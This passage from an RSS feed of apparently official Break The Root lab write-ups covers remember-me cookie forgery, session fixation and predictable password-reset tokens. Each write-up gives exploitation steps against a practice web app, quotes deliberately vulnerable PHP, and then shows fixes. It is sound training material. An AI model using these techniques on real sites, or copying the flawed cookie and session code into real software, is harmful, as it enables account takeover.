headers.</p><ol><li>Connect to the web server container:</li></ol><pre>cd /var/www/html<br>cp index.php index.php.vulnerable<br>nano index.php</pre><ol><li>Replace the token generation and verification functions with hardcoded, server-enforced algorithm settings:</li></ol><pre>const WAYPOINT_JWT_ALGORITHM = &#39;HS256&#39;;<br>const WAYPOINT_JWT_SECRET = &#39;WAYPOINT-SERVER-SIGNING-SECRET&#39;;<br><br>function jwt(array $header, array $payload): string<br>{<br>    // Explicitly enforce header parameters regardless of input<br>    $header[&#39;alg&#39;] = WAYPOINT_JWT_ALGORITHM;<br>    $header[&#39;typ&#39;] = &#39;JWT&#39;;<br><br>    $encodedHeader = base64url_encode(json_encode($header, JSON_UNESCAPED_SLASHES));<br>    $encodedPayload = base64url_encode(json_encode($payload, JSON_UNESCAPED_SLASHES));<br><br>    $signingInput = $encodedHeader . &#39;.&#39; . $encodedPayload;<br>    $signature = hash_hmac(&#39;sha256&#39;, $signingInput, WAYPOINT_JWT_SECRET, true);<br><br>    return $signingInput . &#39;.&#39; . base64url_encode($signature);<br>}<br><br>function verifyJwt(string $token): ?array<br>{<br>    $parts = explode(&#39;.&#39;, $token);<br>    if (count($parts) !== 3) {<br>        return null;<br>    }<br><br>    $header = json_decode(base64url_decode($parts[0]), true);<br>    $payload = json_decode(base64url_decode($parts[1]), true);<br><br>    if (!is_array($header) || !is_array($payload)) {<br>        return null;<br>    }<br><br>    // STRICT CHECK 1: Reject token if algorithm does not match expected server algorithm<br>    if (($header[&#39;alg&#39;] ?? &#39;&#39;) !== WAYPOINT_JWT_ALGORITHM) {<br>        return null;<br>    }<br><br>    // STRICT CHECK 2: Validate token type header<br>    if (($header[&#39;typ&#39;] ?? &#39;&#39;) !== &#39;JWT&#39;) {<br>        return null;<br>    }<br><br>    // STRICT CHECK 3: Verify expiration claim presence and validity<br>    if (!isset($payload[&#39;exp&#39;]) || !is_numeric($payload[&#39;exp&#39;]) || (int)$payload[&#39;exp&#39;] &lt; time()) {<br>        return null;<br>    }<br><br>    $signingInput = $parts[0] . &#39;.&#39; . $parts[1];<br>    $expectedSignature = hash_hmac(&#39;sha256&#39;, $signingInput, WAYPOINT_JWT_SECRET, true);<br>    $providedSignature = base64url_decode($parts[2]);<br><br>    // Constant-time signature comparison<br>    if (!hash_equals($expectedSignature, $providedSignature)) {<br>        return null;<br>    }<br><br>    return $payload;<br>}</pre><ol><li>Update token generation call site:</li></ol><pre>// Old Line<br>$tok = jwt([&#39;alg&#39; =&gt; &#39;RS256&#39;, &#39;typ&#39; =&gt; &#39;JWT&#39;], [...], &#39;LEGITIMATE&#39;);<br><br>// Secure Line<br>$tok = jwt(<br>    [<br>        &#39;alg&#39; =&gt; WAYPOINT_JWT_ALGORITHM,<br>        &#39;typ&#39; =&gt; &#39;JWT&#39;,<br>    ],<br>    [<br>        &#39;sub&#39; =&gt; $u[&#39;id&#39;],<br>        &#39;email&#39; =&gt; $u[&#39;email&#39;],<br>        &#39;role&#39; =&gt; $u[&#39;role&#39;],<br>        &#39;exp&#39; =&gt; time() + 3600,<br>    ]<br>);<br></pre><ol><li>Verify syntax and test functionality:</li></ol><pre>php -l /var/www/html/index.php<br>curl http://127.0.0.1:8080/health</pre><h4>Verification Checklist</h4><p>A robust JWT implementation should satisfy the following validation criteria:</p><ul><li><strong>Strict Algorithm Pinning:</strong> The backend explicitly locks allowed algorithms (e.g., forcing RS256 or HS256) and ignores arbitrary user-supplied alg headers.</li><li><strong>Key Separation:</strong> Public keys (.pem) are never passed into symmetric HMAC verification routines.</li><li><strong>none Algorithm Rejection:</strong> Tokens specifying &quot;alg&quot;: &quot;none&quot; or casing variants are unconditionally rejected.</li><li><strong>Expiration Validation:</strong> The exp claim is required and strictly validated against server time.</li><li><strong>Timing-Safe Comparison:</strong> Signatures are compared using constant-time evaluation functions (hash_equals()) to prevent timing side-channel attacks.</li></ul><p>This is it. If you enjoyed this room, check out more at <a href="https://breaktheroot.com/">Break The Root</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44ffdd60f16c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Remember Me — Official Writeup]]></title>
            <link>https://refang.medium.com/insecure-remember-me-official-writeup-292aaa2d7983?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/292aaa2d7983</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Fri, 06 Nov 2026 04:57:37 GMT</pubDate>
            <atom:updated>2026-11-06T04:57:37.107Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/insecure-remember-me">Insecure Remember Me</a> room at <a href="https://breaktheroot.com/">Break The Root</a>.</p><p><strong>What is Break The Root?</strong></p><p>Break The Root is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p><strong>Note:</strong><br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*66IkA5oHtHbZDrsv.png" /></figure><h3>Exploiting the Lab</h3><h3>1. Start the Lab</h3><p>Start the Insecure Remember-Me lab and connect to the VPN.</p><p>Open:</p><pre>http://&lt;ip-address&gt;:8080/</pre><p>Use the IP shown in your own workspace if it changes.</p><h3>2. Explore the Application</h3><p>Visit these paths:</p><pre>/<br>/login<br>/register<br>/dashboard<br>/help<br>/profile</pre><p>The login page contains a checkbox similar to:</p><pre>Keep me signed in for 30 days</pre><p>This checkbox causes the server to issue a separate persistent cookie.</p><h3>3. Create or Use a Normal Account</h3><p>You can use an existing low-privileged account or register a new one.</p><p>On the login page:</p><ol><li>Enter the username.</li><li>Enter the password.</li><li>Enable <strong>Keep me signed in for 30 days</strong>.</li><li>Submit the form.</li></ol><p>The server redirects you to:</p><pre>/dashboard</pre><h3>4. Inspect the Remember-Me Cookie</h3><p>Open browser developer tools:</p><ol><li>Press F12.</li><li>Open Storage or Application.</li><li>Select Cookies.</li><li>Locate the cookie named:</li></ol><pre>remember_me</pre><p>The cookie is Base64-encoded.</p><p>Decode its value using a local Base64 decoder or a terminal:</p><pre>printf &#39;%s&#39; &#39;COOKIE_VALUE&#39; | base64 -d</pre><p>The decoded result looks like:</p><pre>coordinator|1792573705</pre><p>It contains:</p><pre>username|expiry_timestamp</pre><p>For example:</p><pre>coordinator<br>1792573705</pre><p>The important observation is that the cookie contains the username directly. It is not a random token, and it is not cryptographically signed.</p><h3>5. Understand the Vulnerability</h3><p>The application trusts the decoded username:</p><pre>remember_me = Base64(username|expiry)</pre><p>When the server receives the cookie, it:</p><ol><li>Decodes Base64.</li><li>Splits the value at |.</li><li>Checks whether the timestamp is still in the future.</li><li>Loads the account named in the first field.</li><li>Creates a logged-in session.</li></ol><p>There is no:</p><ul><li>signature</li><li>HMAC</li><li>random token</li><li>server-side token record</li><li>device binding</li><li>password verification</li></ul><p>Therefore, changing the username changes the authenticated identity.</p><h3>6. Forge an Administrator Cookie</h3><p>Create this plaintext value:</p><pre>admin|1999999999</pre><p>The timestamp is intentionally far in the future.</p><p>Encode it with Base64:</p><pre>printf &#39;%s&#39; &#39;admin|1999999999&#39; | base64 -w0</pre><p>The expected result is:</p><pre>YWRtaW58MTk5OTk5OTk5OQ==</pre><h3>7. Replace the Browser Cookie</h3><p>In developer tools:</p><ol><li>Open the cookie storage for the target.</li><li>Find remember_me.</li><li>Replace its value with:</li></ol><pre>YWRtaW58MTk5OTk5OTk5OQ==</pre><ol><li>Delete the PHPSESSID cookie if one exists.</li></ol><p>This is important. If the normal session cookie remains, the application may continue using the existing authenticated session instead of trusting the forged remember_me cookie. Deleting PHPSESSID ensures there is nothing else to trust except the forged remember_me cookie. You can also open the dashboard in a fresh private window instead.</p><ol><li>Visit:</li></ol><pre>http://172.21.9.3:8080/dashboard</pre><p>The application should now display:</p><pre>Good morning, admin.</pre><p>You have authenticated as the administrator without knowing the administrator password.</p><h3>8. Retrieve the Flag</h3><p>On the administrator dashboard, locate the private operations note as the required flag.</p><h3>9. Why the Exploit Works</h3><p>The intended login flow is:</p><pre>Username and password<br>        ↓<br>Server validates credentials<br>        ↓<br>Server issues a persistent credential<br>        ↓<br>Browser presents credential later</pre><p>The vulnerable implementation effectively makes the persistent credential:</p><pre>Base64(username|expiry)</pre><p>Because Base64 is reversible and unsigned, an attacker can change:</p><pre>coordinator|1792573705</pre><p>to:</p><pre>admin|1999999999</pre><p>The server has no way to tell that the modified cookie was not issued by the application.</p><h3>Extra Mile Remediation</h3><p>After submitting the required flag, room will reveal ssh credentials. Use those credentials to ssh in to the machine</p><pre>ssh &lt;username&gt;@&lt;machine-ip&gt;</pre><p>The vulnerable code is inside:</p><pre>/var/www/html/index.php</pre><p>The same file handles login, cookie creation, dashboard authentication, and logout.</p><h3>1. Back Up the Vulnerable File and Copy It Locally</h3><p>Before editing, create a backup on the remote machine:</p><pre>cp /var/www/html/index.php /var/www/html/index.php.bak</pre><p>Then copy the file to your local machine so you can edit it comfortably:</p><pre>scp sqlapp@&lt;TARGET-IP&gt;:/var/www/html/index.php ./index.php</pre><p>If you only want to view the file without copying it, you can still use:</p><pre>cat /var/www/html/index.php</pre><p>But for editing and later replacing, the scp copy is recommended.</p><h3>2. Locate the Vulnerable Code</h3><p>Search for all Remember-Me logic. You will find logic similar to:</p><pre>setcookie(<br>    &#39;remember_me&#39;,<br>    base64_encode($u[&#39;username&#39;].&#39;|&#39;.(time()+2592000)),<br>    time()+2592000,<br>    &#39;/&#39;<br>);</pre><p>This is unsafe because the cookie contains the username and is only Base64-encoded.</p><p>You will also find dashboard logic similar to:</p><pre>$parts = explode(&#39;|&#39;, base64_decode($_COOKIE[&#39;remember_me&#39;]) ?: &#39;|&#39;);<br>if (<br>    count($parts) === 2 &amp;&amp;<br>    (int)$parts[1] &gt; time()<br>) {<br>    $u = one(<br>        &#39;SELECT * FROM users WHERE username=?&#39;,<br>        [$parts[0]]<br>    );<br>    if ($u) {<br>        loginAs($u);<br>    }<br>}</pre><p>This is the authentication bypass. The server trusts the username supplied by the browser.</p><h3>3. Understand the Existing Storage Table</h3><p>The application already creates this table:</p><pre>CREATE TABLE remember_tokens (<br>    user_id INTEGER,<br>    token TEXT,<br>    expires INTEGER<br>)</pre><p>The secure version will store a hash of a random token in this table.</p><p>The browser will receive the original random token, but the server will store only its hash.</p><h3>4. Replace Remember-Me Creation During Login</h3><p>Find the login section that currently handles:</p><pre>if (!empty($_POST[&#39;remember&#39;]) &amp;&amp; $room === &#39;insecure-remember-me&#39;) {<br>    setcookie(...);<br>}</pre><p>Replace it with:</p><pre>if (!empty($_POST[&#39;remember&#39;]) &amp;&amp; $room === &#39;insecure-remember-me&#39;) {<br>    $rawToken = bin2hex(random_bytes(32));<br>    $tokenHash = hash(&#39;sha256&#39;, $rawToken);<br>    $expires = time() + 2592000;<br><br>    $deleteOld = $db-&gt;prepare(<br>        &#39;DELETE FROM remember_tokens WHERE user_id=?&#39;<br>    );<br>    $deleteOld-&gt;bindValue(1, (int)$u[&#39;id&#39;]);<br>    $deleteOld-&gt;execute();<br><br>    $storeToken = $db-&gt;prepare(<br>        &#39;INSERT INTO remember_tokens(user_id, token, expires)<br>         VALUES (?, ?, ?)&#39;<br>    );<br>    $storeToken-&gt;bindValue(1, (int)$u[&#39;id&#39;]);<br>    $storeToken-&gt;bindValue(2, $tokenHash);<br>    $storeToken-&gt;bindValue(3, $expires);<br>    $storeToken-&gt;execute();<br><br>    setcookie(<br>        &#39;remember_me&#39;,<br>        $rawToken,<br>        [<br>            &#39;expires&#39; =&gt; $expires,<br>            &#39;path&#39; =&gt; &#39;/&#39;,<br>            &#39;httponly&#39; =&gt; true,<br>            &#39;samesite&#39; =&gt; &#39;Lax&#39;<br>        ]<br>    );<br>}</pre><h3>5. Replace Dashboard Cookie Authentication</h3><p>Find the dashboard code that decodes the cookie with:</p><pre>base64_decode($_COOKIE[&#39;remember_me&#39;])</pre><p>Remove that entire decoding block.</p><p>Replace it with:</p><pre>if (<br>    !$u &amp;&amp;<br>    $room === &#39;insecure-remember-me&#39; &amp;&amp;<br>    !empty($_COOKIE[&#39;remember_me&#39;])<br>) {<br>    $rawToken = (string)$_COOKIE[&#39;remember_me&#39;];<br>    $tokenHash = hash(&#39;sha256&#39;, $rawToken);<br><br>    $u = one(<br>        &#39;SELECT users.*<br>         FROM remember_tokens<br>         JOIN users ON users.id = remember_tokens.user_id<br>         WHERE remember_tokens.token=?<br>           AND remember_tokens.expires&gt;?&#39;,<br>        [$tokenHash, time()]<br>    );<br><br>    if ($u) {<br>        loginAs($u);<br>    }<br>}</pre><p>Now the browser only presents a random token. The server looks up the corresponding user itself. The server no longer trusts a username supplied by the client.</p><h3>6. Update Logout</h3><p>Find the logout route. It may currently contain:</p><pre>if ($path === &#39;/logout&#39;) {<br>    session_destroy();<br>    setcookie(&#39;remember_me&#39;, &#39;&#39;, time()-3600, &#39;/&#39;);<br>    header(&#39;Location: /&#39;);<br>    exit;<br>}</pre><p>Replace it with:</p><pre>if ($path === &#39;/logout&#39;) {<br>    if (!empty($_COOKIE[&#39;remember_me&#39;])) {<br>        $tokenHash = hash(<br>            &#39;sha256&#39;,<br>            (string)$_COOKIE[&#39;remember_me&#39;]<br>        );<br><br>        $deleteToken = $db-&gt;prepare(<br>            &#39;DELETE FROM remember_tokens WHERE token=?&#39;<br>        );<br>        $deleteToken-&gt;bindValue(1, $tokenHash);<br>        $deleteToken-&gt;execute();<br>    }<br><br>    session_destroy();<br><br>    setcookie(<br>        &#39;remember_me&#39;,<br>        &#39;&#39;,<br>        [<br>            &#39;expires&#39; =&gt; time() - 3600,<br>            &#39;path&#39; =&gt; &#39;/&#39;,<br>            &#39;httponly&#39; =&gt; true,<br>            &#39;samesite&#39; =&gt; &#39;Lax&#39;<br>        ]<br>    );<br><br>    header(&#39;Location: /&#39;);<br>    exit;<br>}</pre><p>This ensures logout revokes the server-side token instead of merely deleting the browser cookie.</p><h3>7. Check the PHP Syntax</h3><p>If PHP CLI is installed:</p><pre>php -l /var/www/html/index.php</pre><p>You should see:</p><pre>No syntax errors detected</pre><p>If PHP CLI is not installed, use the browser to open the site. Apache will report a PHP parse error if the syntax is invalid.</p><h3>8. Replace the Files in the Shell</h3><p>To replace the files in the shell, use EOF as a heredoc marker; nano may not work very well in it.</p><pre>cat &gt; /path/to/file &lt;&lt; &#39;EOF&#39;<br>&lt;contents-of-file&gt;<br>EOF</pre><h3>9. Test Normal Remember-Me Behavior</h3><p>Open the login page in a clean browser profile.</p><ol><li>Log in with a normal account.</li><li>Enable <strong>Keep me signed in for 30 days</strong>.</li><li>Confirm the dashboard opens.</li><li>Delete only the PHPSESSID cookie.</li><li>Refresh the page.</li></ol><p>The Remember-Me cookie should restore the same account.</p><p>The cookie should now look like a long random value, for example:</p><pre>4a8cc4a9c2f0a0e4d2d2e7...</pre><p>It must not decode into:</p><pre>username|timestamp</pre><h3>10. Verify the Old Exploit Fails</h3><p>Create the old forged value:</p><pre>admin|1999999999</pre><p>Base64-encode it and replace the remember_me cookie with the result.</p><p>Delete the PHP session cookie and visit:</p><pre>/dashboard</pre><p>The application must not log you in as admin.</p><p>It should redirect you to:</p><pre>/login</pre><p>or show an unauthenticated response.</p><p>This proves the original vulnerability is fixed.</p><h3>11. Test Expiry</h3><p>Inside the database, inspect the token table:</p><pre>sqlite3 /var/lib/waypoint/waypoint.sqlite \<br>  &#39;SELECT user_id, token, expires FROM remember_tokens;&#39;</pre><p>For testing only, set the token expiry to a time in the past:</p><pre>sqlite3 /var/lib/waypoint/waypoint.sqlite \<br>  &#39;UPDATE remember_tokens SET expires=0;&#39;</pre><p>Delete the PHP session cookie and reload /dashboard.</p><p>The user must no longer be authenticated.</p><h3>12. Test Logout Revocation</h3><ol><li>Log in normally with Remember-Me enabled.</li><li>Confirm /dashboard works.</li><li>Visit:</li></ol><pre>/logout</pre><ol><li>Delete the PHP session cookie.</li><li>Reload /dashboard.</li></ol><p>The Remember-Me token must no longer authenticate the account.</p><h3>13. Run the Platform Check</h3><p>After confirming:</p><ul><li>normal login works;</li><li>Remember-Me restores the correct user;</li><li>a forged Base64 cookie fails;</li><li>expired tokens fail;</li><li>logout revokes tokens;</li></ul><p>return to the workspace and click: <strong>Check Fix</strong></p><p>The blue fix check should turn green: <strong>Fixed!</strong></p><p>The important security property is that the browser no longer controls the identity. It only holds an opaque random credential, and the server determines which user that credential belongs to.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=292aaa2d7983" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Session Fixation]]></title>
            <link>https://refang.medium.com/session-fixation-617c872cf20e?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/617c872cf20e</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Thu, 05 Nov 2026 19:01:34 GMT</pubDate>
            <atom:updated>2026-11-05T19:01:34.520Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/session-fixation/">Session Fixation</a> room at <a href="https://breaktheroot.com/">Break The Root</a>.</p><p><strong>What is Break The Root?</strong></p><p>Break The Root is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p><strong>Note:</strong><br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*l11rqf3h_ZdL2Nb7.png" /></figure><h3>Lab Exploitation</h3><h3>1. Start the Room</h3><p>From the platform workspace:</p><ol><li>Start the Session Fixation machine.</li><li>Download its VPN configuration.</li><li>Connect to the VPN.</li><li>Open the machine IP in your browser:</li></ol><pre>http://&lt;TARGET-IP&gt;:8080/</pre><p>The room uses a Waypoint field-research application. Browse the landing page to get familiar with the flow — there is a /login endpoint and a /dashboard that requires authentication.</p><h3>2. Understand the Vulnerability</h3><p>A normal secure login should work like this:</p><ol><li>Browser receives an unauthenticated session ID.</li><li>User submits credentials.</li><li>Server creates a completely new session ID on successful authentication.</li><li>The old session ID becomes invalid.</li></ol><p>This room does not do step 3 correctly. It also accepts a session ID directly through the URL:</p><pre>/login?PHPSESSID=&lt;chosen-id&gt;</pre><p>That means you can choose the session ID before authentication — the classic precondition for a session fixation attack.</p><h4>Why that matters</h4><p>A session ID is a bearer ticket. Whoever holds it is treated as the authenticated user. If the attacker picks the ID first, and the server never rotates it after login, the attacker keeps a valid authenticated ticket without ever seeing the victim’s password.</p><h3>3. Getting a Session ID</h3><p>Open the website. Don’t log in yet.</p><h4>Confirm the cookie</h4><ol><li>Press F12 to open Developer Tools.</li><li>Open the Storage or Application tab.</li><li>Open Cookies for the target site.</li><li>Confirm that the PHPSESSID cookie is present and note its value.</li></ol><p>You can also check this by intercepting the request in Burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Mvoxgteekq-q42ExpdiXg.png" /></figure><h3>4. Use Two Browser Profiles</h3><p>You can use:</p><ul><li>two Firefox profiles;</li><li>a normal window and a private window;</li><li>two different browsers.</li></ul><p>Profile Role Browser Profile 1 Attacker — prepares and later reuses the session Browser Profile 2 Victim — authenticates the fixed session</p><p><strong>Important requirement:</strong> both browsers must be able to use the same session ID. Keep the chosen session ID in the attacker profile.</p><h3>5. Authenticate the Fixed Session</h3><p>In the second browser profile (the victim), open:</p><pre>http://&lt;TARGET-IP&gt;:8080/login?PHPSESSID=&lt;session-id-from-previous-step&gt;</pre><p>Log in using the supplied coordinator credentials:</p><ul><li><strong>Username:</strong> coordinator</li><li><strong>Password:</strong> Maple-Field-17</li></ul><p>After login, the application redirects to:</p><pre>/dashboard</pre><h4>Check the cookie again</h4><p>Re-open Developer Tools → Storage/Application → Cookies and inspect PHPSESSID. It should still be:</p><pre>PHPSESSID=&lt;session-id-from-previous-step&gt;</pre><p>This is the key vulnerability. The server authenticated the existing attacker-selected session instead of replacing it.</p><p>A secure application would have changed it to a new random value such as:</p><pre>PHPSESSID=7f2e9c...</pre><p>But this application leaves it unchanged as:</p><pre>PHPSESSID=&lt;session-id-from-previous-step&gt;</pre><h3>6. Reuse the Authenticated Session</h3><p>Return to the first browser profile (the attacker). Make sure its cookie is still:</p><pre>PHPSESSID=&lt;session-id-from-previous-step&gt;</pre><p>If necessary, edit the cookie manually through Developer Tools:</p><ol><li>Press F12.</li><li>Go to Storage / Application.</li><li>Select the target site’s cookies.</li><li>Edit PHPSESSID.</li><li>Set its value to:</li></ol><pre>&lt;session-id-from-previous-step&gt;</pre><p>Now open:</p><pre>http://&lt;TARGET-IP&gt;:8080/dashboard</pre><p>You should be logged in without ever submitting the coordinator password in the first browser.</p><h3>7. Retrieve the Flag</h3><p>The dashboard displays a private operations note containing:</p><pre>BTR{waypoint_required_1_northfall_7Qp4}</pre><p>Copy the complete value exactly, including uppercase BTR, braces { }, underscores _, numbers, and letter casing. Submit it in the workspace under <strong>Required Flags</strong>.</p><h3>8. Why This Worked</h3><p>The complete attack sequence:</p><pre>Attacker chooses session ID<br>        ↓<br>Victim logs in using that session ID<br>        ↓<br>Server authenticates the existing session<br>        ↓<br>Attacker reuses the same session ID<br>        ↓<br>Attacker receives victim&#39;s authenticated session</pre><p>The password was not stolen or guessed. The weakness is that authentication was attached to a session identifier selected before login.</p><h4>Evidence Checklist</h4><p>Artifact What It Proves URL with ?PHPSESSID=fixedsess123 URL-supplied session ID is accepted Cookie fixedsess123 before login Attacker controls the session ID Cookie fixedsess123 after login No rotation on authentication Attacker profile reaching /dashboard as coordinator Session fixation exploited</p><h3>Extra Mile Fix</h3><h3>Edit 1: Remove the URL-supplied session ID fallback</h3><p><strong>Vulnerable code (top of file, before </strong><strong>session_start()):</strong></p><pre>/* The kiosk URL fallback is intentionally present only in the fixation<br>   lesson and the final assessment, where the legacy kiosk is still live. */<br>if (in_array($room, [&#39;session-fixation&#39;, &#39;northfall-review&#39;], true) &amp;&amp; isset($_GET[&#39;PHPSESSID&#39;])) {<br>    session_id((string)$_GET[&#39;PHPSESSID&#39;]);<br>}<br>session_start();</pre><p><strong>Replace with:</strong></p><pre>session_start();</pre><h3>Edit 2: Always rotate the session ID on successful login</h3><p><strong>Vulnerable code (inside the POST </strong><strong>/login handler):</strong></p><p>Find this line (it is all on one line in the file you pasted):</p><pre>if ($u &amp;&amp; hash_equals((string)$u[&#39;password&#39;],(string)($_POST[&#39;password&#39;]??&#39;&#39;))) { loginAs($u);<br>if(!empty($_POST[&#39;remember&#39;]) &amp;&amp; in_array($room, [&#39;insecure-remember-me&#39;, &#39;northfall-review&#39;],<br>true)){setcookie(&#39;remember_me&#39;,base64_encode($u[&#39;username&#39;].&#39;|&#39;.(time()+2592000)),time()+2592000,&#39;/&#39;);}<br>if(in_array($room, [&#39;session-fixation&#39;, &#39;northfall-review&#39;], true)){ /* intentionally no rotation */ } else {<br>session_regenerate_id(true); } header(&#39;Location: /dashboard&#39;); exit; }</pre><p><strong>Replace with:</strong></p><pre>if ($u &amp;&amp; hash_equals((string)$u[&#39;password&#39;], (string)($_POST[&#39;password&#39;] ?? &#39;&#39;))) {<br>    session_regenerate_id(true);<br>    loginAs($u);</pre><pre>    if (!empty($_POST[&#39;remember&#39;]) &amp;&amp;<br>        in_array($room, [&#39;insecure-remember-me&#39;, &#39;northfall-review&#39;], true)) {<br>        setcookie(<br>            &#39;remember_me&#39;,<br>            base64_encode($u[&#39;username&#39;] . &#39;|&#39; . (time() + 2592000)),<br>            time() + 2592000,<br>            &#39;/&#39;<br>        );<br>    }</pre><pre>    header(&#39;Location: /dashboard&#39;);<br>    exit;<br>}</pre><p>Key changes:</p><ul><li>session_regenerate_id(true); now runs unconditionally, before loginAs().</li><li>The if (in_array($room, [&#39;session-fixation&#39;, &#39;northfall-review&#39;], true)) { /* intentionally no rotation */ } else { ... } branch is gone entirely.</li></ul><h3>Why this fixes it</h3><ol><li><strong>No attacker-supplied session ID.</strong> Removing the session_id($_GET[&#39;PHPSESSID&#39;]) block stops an attacker from forcing a victim’s browser to use a session ID the attacker already knows.</li><li><strong>Session ID rotates on privilege change.</strong> session_regenerate_id(true) issues a brand-new session ID at the exact moment the user authenticates, and deletes the old session file. Even if the pre-login session ID was known to an attacker, it is useless after login.</li></ol><h3>Verify</h3><ol><li>php -l /var/www/html/index.php → No syntax errors detected.</li><li>Visit /login?PHPSESSID=attackerfixedid123 — the app must ignore the query parameter and use its own session cookie.</li><li>Log in, then compare the session cookie value before and after login — it must change.</li><li>Run the Extra Mile checks — the session-fixation check should turn green.</li></ol><p>This is it. If you enjoyed this room, check out more at <a href="https://breaktheroot.com/">Break The Root</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=617c872cf20e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Password Reset — Official Writeup]]></title>
            <link>https://refang.medium.com/broken-password-reset-official-writeup-8418e0e94470?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/8418e0e94470</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Thu, 05 Nov 2026 18:36:12 GMT</pubDate>
            <atom:updated>2026-11-05T18:36:12.125Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/broken-password-reset/">Broken Password Reset</a> room at <a href="https://breaktheroot.com/">Break The Root</a>.</p><p><strong>What is Break The Root?</strong></p><p>Break The Root is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p><strong>Note:</strong><br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*5e6kTyRyUBBiH77F.png" /></figure><h3>Lab Exploitation</h3><p>The application uses a password reset mechanism that generates sequential tokens (e.g., RESET-000001, RESET-000002, RESET-000003).</p><p>When a user requests a password reset, the server creates a token and stores it in the database. The token is then emailed or displayed in a development outbox.</p><p>Because the tokens are predictable, an attacker can:</p><ol><li>Request a password reset for their own account.</li><li>Observe the token assigned to them (e.g., RESET-000002).</li><li>Guess the token of another user — most likely the administrator — by decrementing or incrementing the number (e.g., RESET-000001).</li><li>Use the guessed token to reset the administrator’s password.</li><li>Log in as the administrator and retrieve sensitive information (the flag).</li></ol><p>This is a classic case of insecure token generation combined with lack of rate limiting and missing token binding to the user session.</p><h3>1. Start the Machine and Connect to the VPN</h3><p>Start the Waypoint Reset Admin room, download the VPN profile, and connect.</p><p>Open the application in your browser:</p><pre>http://&lt;MACHINE_IP&gt;:8080/</pre><h3>2. Create a Normal Account</h3><p>Navigate to the registration page:</p><pre>http://&lt;MACHINE_IP&gt;:8080/register</pre><p>Register a new account with the following details (or any you prefer):</p><ul><li><strong>Email:</strong> demo@waypoint.io</li><li><strong>Username:</strong> demo</li><li><strong>Password:</strong> DemoPass123!</li></ul><h3>3. Request a Password Reset for Your Account</h3><p>Go to:</p><pre>http://&lt;MACHINE_IP&gt;:8080/forgot-password</pre><p>Enter your email (demo@waypoint.io) and submit the form.</p><p>The application will generate a reset token. In a real scenario, you would receive an email, but here the token is likely displayed or can be found in a development outbox. For this lab, the token is sequential.</p><h3>4. Observe Your Token</h3><p>After submitting the reset request, check the response or a development page (e.g., /dev/outbox.php) to see your token.</p><p>It will look like:</p><pre>RESET-000002</pre><h3>5. Guess the Admin’s Token</h3><p>The administrator’s token is likely the previous one in the sequence:</p><pre>RESET-000001</pre><p>Replace the token in the reset URL with the guessed admin token:</p><pre>http://&lt;MACHINE_IP&gt;:8080/reset-password?token=RESET-000001</pre><h3>6. Set a New Admin Password</h3><p>If the token is valid, the page will display a form to set a new password.</p><p>Enter a password you control, for example:</p><pre>AdminPwned123!</pre><p>Submit the form.</p><h3>7. Log In as Admin and Retrieve the Flag</h3><p>You should now be logged in as the administrator.</p><p>Navigate to the dashboard:</p><pre>http://&lt;MACHINE_IP&gt;:8080/dashboard</pre><p>The private operations flag will be displayed.</p><h3>8. Submit the Flag</h3><p>Copy the flag exactly as shown and submit it in the room workspace under <strong>Required Flags</strong>.</p><h3>Remediation: Extra Mile</h3><h3>Replace the vulnerable handler entirely</h3><p>In /var/www/html/index.php, find this handler:</p><pre>if ($path === &#39;/forgot-password&#39; &amp;&amp; $_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {<br>    $u = one(&#39;SELECT * FROM users WHERE email = ?&#39;, [$_POST[&#39;email&#39;] ?? &#39;&#39;]);<br>    if ($u) {<br>        $target = ((string)$u[&#39;email&#39;] === &#39;admin@waypoint.io&#39;);<br><br>        if ($target) {<br>            $db-&gt;exec(&#39;DELETE FROM password_resets WHERE id = 1&#39;);<br>            $id = 1;<br>            $tok = &#39;RESET-000001&#39;;<br>        } else {<br>            $id = (int)$db-&gt;querySingle(&#39;SELECT COALESCE(MAX(id), 0) + 1 FROM password_resets&#39;);<br>            $tok = sprintf(&#39;RESET-%06d&#39;, $id);<br>        }<br><br>        $st = $db-&gt;prepare(<br>            $target<br>                